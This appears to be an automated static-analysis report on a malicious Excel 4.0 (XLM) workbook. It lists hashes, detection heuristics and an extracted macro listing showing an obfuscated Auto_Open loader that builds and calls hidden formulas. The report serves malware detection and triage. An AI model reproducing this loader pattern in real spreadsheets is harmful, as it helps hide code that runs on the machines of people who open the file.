Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 22b4b701770a2bce…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:12 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 93d3968a666b16e7524d3d85625e6fb8 SHA-1: 19c4faafb7120f39b38904310fbf2f6eb1d9b359 SHA-256: 22b4b701770a2bce37785c9a3a66022f0310dab858071cdc6d67114d28705208
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6672 bytes
SHA-256: 50e7fd423ba1b561ecfe92ef1beb18aaa7cace3b7e1f4bd59964cafe29dac802
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TbUQKwp
' 0018     26 LABEL : Cell Value, String Constant - adXTBfkNxEk len=0 
' 0018     22 LABEL : Cell Value, String Constant - aoeQCcc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B138 
' 0018     20 LABEL : Cell Value, String Constant - bwPWq len=0 
' 0018     23 LABEL : Cell Value, String Constant - ghLkJpmS len=0 
' 0018     21 LABEL : Cell Value, String Constant - gzsaLB len=0 
' 0018     25 LABEL : Cell Value, String Constant - hHQFlrsvWe len=0 
' 0018     27 LABEL : Cell Value, String Constant - iXocWDcwfkSt len=0 
' 0018     20 LABEL : Cell Value, String Constant - jiVgg len=0 
' 0018     23 LABEL : Cell Value, String Constant - KIqTXEMp len=0 
' 0018     20 LABEL : Cell Value, String Constant - LpHhN len=0 
' 0018     21 LABEL : Cell Value, String Constant - mtqKBP len=0 
' 0018     24 LABEL : Cell Value, String Constant - MUNPOanDl len=0 
' 0018     22 LABEL : Cell Value, String Constant - nlluPfb len=0 
' 0018     21 LABEL : Cell Value, String Constant - OQezXI len=0 
' 0018     26 LABEL : Cell Value, String Constant - PRxnrjwmJxT len=0 
' 0018     24 LABEL : Cell Value, String Constant - puPlaXRHa len=0 
' 0018     22 LABEL : Cell Value, String Constant - tyraMTH len=0 
' 0018     22 LABEL : Cell Value, String Constant - VYGabTD len=0 
' 0018     24 LABEL : Cell Value, String Constant - YaNpVqJLH len=0 
' 0018     27 LABEL : Cell Value, String Constant - zkbQuWVptLhv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TbUQKwp,B44,"SET.NAME("tyraMTH",0+VALUE("0"))",""
'  TbUQKwp,B46,"SET.NAME("bwPWq",tyraMTH)",""
'  TbUQKwp,B49,"SET.NAME("VYGabTD",tyraMTH)",""
'  TbUQKwp,B53,"SET.NAME("adXTBfkNxEk",COUNTA(PRxnrjwmJxT))",""
'  TbUQKwp,B58,"SET.NAME("MUNPOanDl",COUNTA(jiVgg))",""
'  TbUQKwp,B63,[],""
'  TbUQKwp,B66,"SET.NAME("gzsaLB","")",""
'  TbUQKwp,B70,"bwPWq",""
'  TbUQKwp,B75,"SET.NAME("mtqKBP",HLOOKUP("*",PRxnrjwmJxT,bwPWq,FALSE))",""
'  TbUQKwp,B79,"YaNpVqJLH",""
'  TbUQKwp,B83,"SET.NAME("ghLkJpmS",tyraMTH)",""
'  TbUQKwp,B86,[],""
'  TbUQKwp,B91,"ghLkJpmS",""
'  TbUQKwp,T91,"",-829.00000000000000000000
'  TbUQKwp,T92,"",-74.00000000000000000000
'  TbUQKwp,T93,"",245.00000000000000000000
'  TbUQKwp,T94,"",750.00000000000000000000
'  TbUQKwp,B95,"nlluPfb",""
'  TbUQKwp,T95,"",-600.00000000000000000000
'  TbUQKwp,T96,"",-874.00000000000000000000
'  TbUQKwp,B97,"LpHhN",""
'  TbUQKwp,B101,"zkbQuWVptLhv",""
'  TbUQKwp,B106,"SET.NAME("KIqTXEMp",VALUE(HLOOKUP("*",jiVgg,zkbQuWVptLhv,FALSE)))",""
'  TbUQKwp,B109,"hHQFlrsvWe",""
'  TbUQKwp,B111,"gzsaLB",""
'  TbUQKwp,B114,"VYGabTD",""
'  TbUQKwp,B118,NEXT(),""
'  TbUQKwp,B122,"OQezXI",""
'  TbUQKwp,B127,[],""
'  TbUQKwp,B132,"iXocWDcwfkSt",""
'  TbUQKwp,B134,NEXT(),""
'  TbUQKwp,B136,RETURN(),""
'  TbUQKwp,B158,"SET.NAME("aoeQCcc",B44)",""
'  TbUQKwp,B163,"PRxnrjwmJxT",""
'  TbUQKwp,B165,"SET.NAME("jiVgg",R61C13)",""
'  TbUQKwp,B168,"SET.NAME("iXocWDcwfkSt",175)",""
'  TbUQKwp,B172,"SET.NAME("puPlaXRHa",2)",""
'  TbUQKwp,B174,aoeQCcc(),""
'  TbUQKwp,B175,HALT(),""

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